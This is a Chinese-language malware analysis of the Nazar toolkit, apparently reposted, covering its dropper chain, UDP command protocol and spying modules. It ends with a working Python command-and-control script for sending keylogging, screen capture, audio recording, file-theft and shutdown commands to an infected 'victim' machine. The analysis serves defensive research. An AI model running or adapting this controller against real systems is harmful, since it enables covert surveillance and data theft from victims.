首頁  >  文章  >  運維  >  如何深度分析Nazar 組件

如何深度分析Nazar 組件

WBOY
WBOY轉載
2023-05-12 16:46:06703瀏覽

6:22 AM 11/7/2012 conficker still on target

6:18 AM 11/7/2012 checking logs - we are clean

8:16 PM 7/2/2012 - BOOM!, got the callback

這些是方程組(NSA)在攻擊目標系統留下的記錄,後來被Shadow Brokers洩露。 最近,安全研究員透露了一個先前被錯誤識別且未知的威脅組織Nazar,以下將對Nazar組件進行深入分析。

事件背景

影子經紀人洩漏的數據使眾多漏洞(例如EternalBlue)成為眾人關注的焦點,但其中還包含了許多更有價值的組件,這些組件顯示了Equation Group在發動攻擊之前採取的一些預防措施。

如何深度分析Nazar 组件

例如,在洩漏檔案中名為「 drv_list.txt」的文件,其中包含驅動程式名稱清單和相應的註釋,如果在目標系統上找到了驅動程序,則會將訊息發送給攻擊者。

如何深度分析Nazar 组件

清單中還包含惡意驅動程式的名稱,如果找到這些惡意驅動程序,表示目標系統已經被其他人破壞,然後警告攻擊者「撤回」。負責此類檢查的關鍵組件名為「Territorial Dispute」或「TeDi」。   

如何深度分析Nazar 组件

「 TeDi」包含45個簽名,可在目標系統中搜尋與其他威脅組織相關的登錄項目和檔案名稱。與安全掃描不同,攻擊者最終目的是確保自身操作不會受到干擾,其他攻擊者不會偵測到他們的工具。   

如何深度分析Nazar 组件

在某些情況下,防止自體作業不會幹擾「友善」威脅群組的運作,也不會同時攻擊相同目標。

如何深度分析Nazar 组件

安全研究員指出,「 TeDi」中的第37個簽名是尋找名為“ Godown.dll”的文件,它指向的就是伊朗威脅組織“Nazar” 。

如何深度分析Nazar 组件

執行流程

Nazar在2008年左右開始活動,可能與第'TeDi'第37個簽章相關,它負責偵測Nazar工具插件“ Godown.dll”。 

如何深度分析Nazar 组件

Nazar執行的初始二進位檔案是gpUpdates.exe。它是由“ Zip 2 Secure EXE”創建的自解壓縮文件(SFX)。執行後,gpUpdates將三個檔案寫入磁碟:Data.bin,info和Distribute.exe,gpUpdates.exe將啟動Distribute.exe。   

Distribute.exe

首先,Distribute.exe將讀取info和Data.bin。 Data.bin是一個二進位Blob,其中包含多個PE檔案。 info檔案非常小,其中包含一個簡單的結構,該結構表示Data.bin中PE檔案的長度。 Distribute.exe將按檔案長度的順序逐一讀取Data.bin。下表顯示了Data.bin檔案與info寫入長度的關係。

如何深度分析Nazar 组件

之後Distribute.exe使用regsv***將3個DLL檔案寫入登錄中。   

如何深度分析Nazar 组件

使用CreateServiceA將svchost.exe新增為名為「 EYService」的服務,啟動服務並退出。 此服務是攻擊的主要部分,協調Nazar調用模組。

如何深度分析Nazar 组件

通訊分析

服務執行後,先設定封包嗅探。   

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

每當UDP封包到達時,無論是否有回應,都會記錄其來源IP以用於下一個回應。然後檢查資料包的目標端口,如果是1234,則將資料將轉送到命令處理器。

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

資料回應

每個回應都會從頭開始建立封包,回應分為3種類型:

1、傳送ACK:目標連接埠4000,有效負載101; 0000    

2、傳送電腦資訊:目標連接埠4000,有效負載100; <電腦名稱>; <作業系統名稱>

#

3、发送文件:通过UDP发送数据,然后是带有的数据包。如果服务器将标识为0x3456的数据包发送到目标端口1234,恶意软件将使用目标端口0x5634发送响应。

如何深度分析Nazar 组件

支持命令

下表为命令支持列表:

如何深度分析Nazar 组件

Dll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。    

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。    

如何深度分析Nazar 组件    

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。    

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。     

附录

IOCs

如何深度分析Nazar 组件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H&#39;,4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b&#39;&#39;
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord(&#39;9&#39;)):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim&#39;s machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim&#39;s machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input(&#39;> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

以上是如何深度分析Nazar 組件的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除